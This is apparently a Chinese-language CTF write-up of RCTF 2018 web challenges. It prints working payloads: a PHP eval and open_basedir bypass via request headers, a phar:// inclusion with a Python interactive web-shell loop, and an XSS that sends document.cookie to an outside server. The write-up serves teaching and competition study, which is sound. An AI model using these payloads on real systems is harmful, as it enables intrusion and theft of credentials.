Web 赛后总结
r-cursive 源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $token = sha1($_SERVER['REMOTE_ADDR']); $dir = '../sandbox/'.$token.'/'; is_dir($dir) ?: mkdir($dir); is_file($dir.'index.php') ?: file_put_contents($dir.'index.php', str_replace('#SHA1#', $token, file_get_contents('./template'))); switch($_GET['action'] ?: ''){ case 'go': header('Location: http://'.$token.'.sandbox.r-cursive.ml:1337/'); break; case 'reset': system('rm -rf '.$dir); break; default: show_source(__FILE__); } ?> <style>code{font-family: Segoe Script, Brush Script MT, cursive; font-size: 1.337em;}</style>
template:
1 2 3 <?php sha1($_SERVER['REMOTE_ADDR']) === '#SHA1#' ?: die(); ';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);
http://589bf872527b686d94b4448c8ea3aed4761eaddc.sandbox.r-cursive.ml:1337/ :
1 2 3 <?php sha1($_SERVER['REMOTE_ADDR']) === '589bf872527b686d94b4448c8ea3aed4761eaddc' ?: die(); ';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);
1 2 3 ?cmd=print(readdir(opendir(getcwd()))); 可以列目录 ?cmd=print(readfile(readdir(opendir(getcwd())))); 读文件 ?cmd=print(dirname(dirname(getcwd()))); print出/var/www
翻阅文档找到getallheaders()
函数,会返回所有的http请求头,因为header可控,所以可执行任意命令了 ?cmd=print(end(getallheaders()));
1 2 3 GET /?cmd=eval(implode(getallheaders())); HTTP/1.1 Host: 589bf872527b686d94b4448c8ea3aed4761eaddc.sandbox.r-cursive.ml cmd: phpinfo(); //
这里是利用auto_prepend来载入sandbox下的init.php来设置沙盒的open_basedir。
1 2 3 4 5 You can use auto_prepend option in php.ini to supply script that will be executed first. There you can setup open_basedir via ini_set() function based on contents of $_SERVER array. answered May 10 '13 at 17:21 gmsalex 20816 Yeah, something like this could do it: ini_set('open_basedir',"/var/www/hosts/$hostname/:/tmp/"); – Sunry Feb 9 at 1:29
不修改host:
1 2 3 4 5 6 7 8 9 GET /?cmd=eval(end(getallheaders())); HTTP/1.1 Host: 71aabdeb3d708872c6e00e066ae48b2669834df7.sandbox.r-cursive.ml:1337 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.9 Connection: close cookie: echo ini_get('open_basedir');
1 2 3 4 5 6 7 8 9 HTTP/1.1 200 OK Date: Tue, 22 May 2018 07:25:09 GMT Server: Apache/2.4.10 (Debian) X-Powered-By: PHP/5.6.36 Content-Length: 64 Connection: close Content-Type: text/html; charset=UTF-8 /var/www/sandbox/71aabdeb3d708872c6e00e066ae48b2669834df7/:/tmp/
修改host:
1 2 3 4 5 6 7 8 9 GET /?cmd=eval(end(getallheaders())); HTTP/1.1 Host: .sandbox.r-cursive.ml:1337 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.9 Connection: close cookie: echo ini_get('open_basedir');
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 HTTP/1.1 403 Forbidden Date: Tue, 22 May 2018 07:25:36 GMT Server: Apache/2.4.10 (Debian) Content-Length: 298 Connection: close Content-Type: text/html; charset=iso-8859-1 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access / on this server.<br /> </p> <hr> <address>Apache/2.4.10 (Debian) Server at .sandbox.r-cursive.ml Port 1337</address> </body></html>
报错,403,这是由于sandbox目录下只有init.php,没有index.php的缘故。我们访问init.php试试,200,没有报错。说明open_basedir已经发生变化。
1 2 3 4 5 6 7 8 9 GET /init.php?cmd=eval(end(getallheaders())); HTTP/1.1 Host: .sandbox.r-cursive.ml:1337 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.9 Connection: close cookie: echo ini_get('open_basedir');
1 2 3 4 5 6 7 HTTP/1.1 200 OK Date: Tue, 22 May 2018 07:26:20 GMT Server: Apache/2.4.10 (Debian) X-Powered-By: PHP/5.6.36 Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8
getflag:
1 2 3 4 5 6 7 8 9 GET /71aabdeb3d708872c6e00e066ae48b2669834df7/index.php?cmd=eval(end(getallheaders())); HTTP/1.1 Host: .sandbox.r-cursive.ml:1337 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.9 Connection: close cookie: echo ini_get('open_basedir');var_dump(file_get_contents("/var/www/sandbox/init.php"));
1 2 3 4 5 6 7 8 9 10 11 12 13 14 HTTP/1.1 200 OK Date: Tue, 22 May 2018 06:51:10 GMT Server: Apache/2.4.10 (Debian) X-Powered-By: PHP/5.6.36 Vary: Accept-Encoding Content-Length: 186 Connection: close Content-Type: text/html; charset=UTF-8 /var/www/sandbox/:/tmp/string(148) "<?php ini_set("open_basedir", $_SERVER['DOCUMENT_ROOT']."/:/tmp/"); // flag: RCTF{apache_mod_vhost_alias_should_be_configured_correctly} ?> "
Backdoor
根据contrab.sh,我们可以得到两个链接:
http://backdoor.2018.teamrois.cn/post.php?action=upload
http://backdoor.2018.teamrois.cn/post.php?action=debugging&count=$debuggers
打开首页,查看源码,得到aaencode之后的js代码:
解密网址:https://tool.zcmzcm.org/aadecode
1 2 3 4 5 6 7 8 9 10 document.loginform.onsubmit = function (e) { e.preventDefault() document.getElementById('wp-submit').disabled = 'disabled' setTimeout(function () { document.getElementById('wp-submit').removeAttribute('disabled') alert('Login failed') "What? Need hint?" "index.php is a hint!" }, 3000) }
说明,不用登录。
查看post.php,发现可能存在LFI。
index.php,没啥用
http://backdoor.2018.teamrois.cn/post.php?action=php://filter/read=convert.base64-encode/resource=index
post.php
1 2 3 <?php error_reporting(0); include $_GET['action'] . '.php';
uploa.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php if (!isset($_FILES['file'])) exit; $file = $_FILES['file']; $zip = new ZipArchive(); if (true !== $zip->open($file['tmp_name'])) { echo 'No a valid zip'; exit; } if (false === $zip->getFromName('tmp/random.txt')) { echo 'No file'; exit; } $dest = 'uploads/' . md5($_SERVER['REMOTE_ADDR']) . hash('sha256', file_get_contents($file['tmp_name'])) . '.zip'; move_uploaded_file($file['tmp_name'], $dest); echo 'Saved into ' . $dest;
利用zip://或者phar://包含。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import requestss = "Saved into " post_url = "http://backdoor.2018.teamrois.cn/post.php?action=upload" zip_file = open("tmp.zip" ,"rb" ) upload_file = {'file' :zip_file} r = requests.post(post_url,files=upload_file) dest = r.text[len(s):] shell_url = "http://backdoor.2018.teamrois.cn/post.php?action=phar://" + dest + "/evil" print("[*] shell url: " + shell_url) while True : command = input("command: " ) payload = {'chybeta' : 'system("%s");' % command} r = requests.get(shell_url,params=payload) print(r.text)
r-blog title: “<>1”
content: “<>1”
结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <link rel="stylesheet" href="/assets/css/bootstrap.min.css"> <link rel="stylesheet" href="/assets/css/style.css"> <link href="https://fonts.googleapis.com/css?family=Titillium+Web" rel="stylesheet"> <title>rBlog 2018</title> </head> <body> <div class="container mt-5"> <div class="card"> <div class="card-body"> <h2 class="card-title"><>1</h2> <p class="card-text"><>2</p> </div> </div> </div> <script nonce="090c154a21d0fdf5809aff4586fe1eed" src="/assets/js/jquery.min.js"></script> </body> </html>
title没有过滤,content过滤。
csp如下:
1 2 X-Frame-Options: DENY Content-Security-Policy: default-src 'none'; script-src 'nonce-3ae08923a2654e27a3734f7876a5abe0'; frame-src https://www.google.com/recaptcha/; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src 'self'
我们看到jquery.min.js是相对地址,并且base-uri没有在csp中指定。
所以payload如下:
title: <base href ="http://【my_server】/">
content: 随意
在字节的vps上添加jquery.min.js,网址: http://[my_server]/assets/js/jquery.min.js
jquery.min.js的内容:
1 window.location.href="http://123.207.90.143?"+document.cookie;
最终结果:
1 115.159.200.107 - - [22/May/2018:21:39:02 +0800] "GET /?flag=RCTF{why_the_heck_no_mimetype_for_webp_in_apache2_in_8012};%20hint_for_rBlog_Rev.2=http://rblog.2018.teamrois.cn/blog.php/52c533a30d8129ee4915191c57965ef4c7718e6d HTTP/1.1" 200 15 "http://rblog.2018.teamrois.cn/" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/66.0.3359.181 Safari/537.36"
amp payload:
http://amp.2018.teamrois.cn?name=
1 2 3 4 5 6 7 8 9 10 11 12 13 [root@VM_89_224_redhat ~]# nc -lvv 1234 Ncat: Version 6.40 ( http://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 106.120.206.166. Ncat: Connection from 106.120.206.166:64053. ��Y���8۲Y�=����6���km���� ��A It+z���^�vY�$���,�3�'�����*K�Zp"jj�+�/�,�0̨̩����/5 hhttp/1.1uP 3+)jj �ZaV>WB�~���|�Z��4KM�������Et~-+ ��
writeup:
https://github.com/zsxsoft/my-rctf-2018/tree/master/amp
注意,我这里是乱码的原因是,我直接监听1234端口,并不支持ssl。